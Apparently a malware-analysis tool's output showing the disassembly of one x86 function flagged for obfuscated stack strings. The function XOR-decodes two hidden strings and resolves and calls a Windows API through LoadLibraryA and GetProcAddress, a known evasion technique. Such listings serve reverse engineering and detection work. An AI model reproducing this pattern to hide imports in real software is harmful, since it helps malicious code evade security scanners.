Function at 0x10009380
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov cl, byte [0x10194d20]
push ebx
push ebp
mov eax, 0xb
push esi
push edi
test cl, 1
mov byte [esp + 0x14], 0x4c
mov byte [esp + 0x15], 0x78
mov byte [esp + 0x16], 0xdc
mov byte [esp + 0x17], al
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x58
mov byte [esp + 0x1a], 0x9d
mov byte [esp + 0x1b], 0xf6
mov byte [esp + 0x1c], 0xce
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x24], 0x39
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0xb9
mov byte [esp + 0x27], 0x79
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], 0x6a
mov byte [esp + 0x2a], 0xb3
mov byte [esp + 0x2b], 0x92
mov byte [esp + 0x2c], 0xa2
mov byte [esp + 0x2d], 3
jne 0x10009485
mov bl, cl
push eax
or bl, 1
mov byte [0x10194d20], bl
call fcn.1013c2df
add esp, 4
mov dword [0x10194d24], eax
xor edi, edi
mov bl, byte [esp + edi + 0x24]
movsx eax, byte [esp + edi + 0x14]
movsx esi, bl
test esi, esi
jne 0x1000942d
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x10009458
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x1000944d
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x1000944d
mov al, byte [esp + edi + 0x14]
xor bl, al
mov eax, dword [0x10194d24]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xa
jb 0x10009418
mov ecx, dword [0x10194d24]
push 0x100095e0
mov byte [ecx + 0xa], 0
call fcn.1013c36b
add esp, 4
mov al, byte [0x10194d28]
mov edx, dword [0x10194d24]
test al, 1
mov dword [esp + 0x10], edx
mov byte [esp + 0x24], 0x7b
mov byte [esp + 0x25], 0x95
mov byte [esp + 0x26], 0x77
mov byte [esp + 0x27], 0xb1
mov byte [esp + 0x28], 0x3e
mov byte [esp + 0x29], 0xff
mov byte [esp + 0x2a], 0xa9
mov byte [esp + 0x2b], 0xf2
mov byte [esp + 0x2c], 0x13
mov byte [esp + 0x2d], 0x16
mov byte [esp + 0x2e], 0x67
mov byte [esp + 0x2f], 0xad
mov byte [esp + 0x30], 0xfc
mov byte [esp + 0x14], 0x3c
mov byte [esp + 0x15], 0xf0
mov byte [esp + 0x16], 3
mov byte [esp + 0x17], 0xe6
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x91
mov byte [esp + 0x1a], 0xcd
mov byte [esp + 0x1b], 0x9d
mov byte [esp + 0x1c], 0x64
mov byte [esp + 0x1d], 0x44
mov byte [esp + 0x1e], 2
mov byte [esp + 0x1f], 0xce
mov byte [esp + 0x20], 0x88
jne 0x100095a7
mov bl, al
push 0xe
or bl, 1
mov byte [0x10194d28], bl
call fcn.1013c2df
add esp, 4
mov dword [0x10194d2c], eax
xor edi, edi
mov bl, byte [esp + edi + 0x14]
movsx eax, byte [esp + edi + 0x24]
movsx esi, bl
test esi, esi
jne 0x1000954f
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x1000957a
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x1000956f
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x1000956f
mov al, byte [esp + edi + 0x24]
xor bl, al
mov eax, dword [0x10194d2c]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xd
jb 0x1000953a
mov ecx, dword [0x10194d2c]
push 0x100095f0
mov byte [ecx + 0xd], 0
call fcn.1013c36b
add esp, 4
mov edx, dword [esp + 0x10]
mov esi, dword [0x10194d2c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x38]
push ecx
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret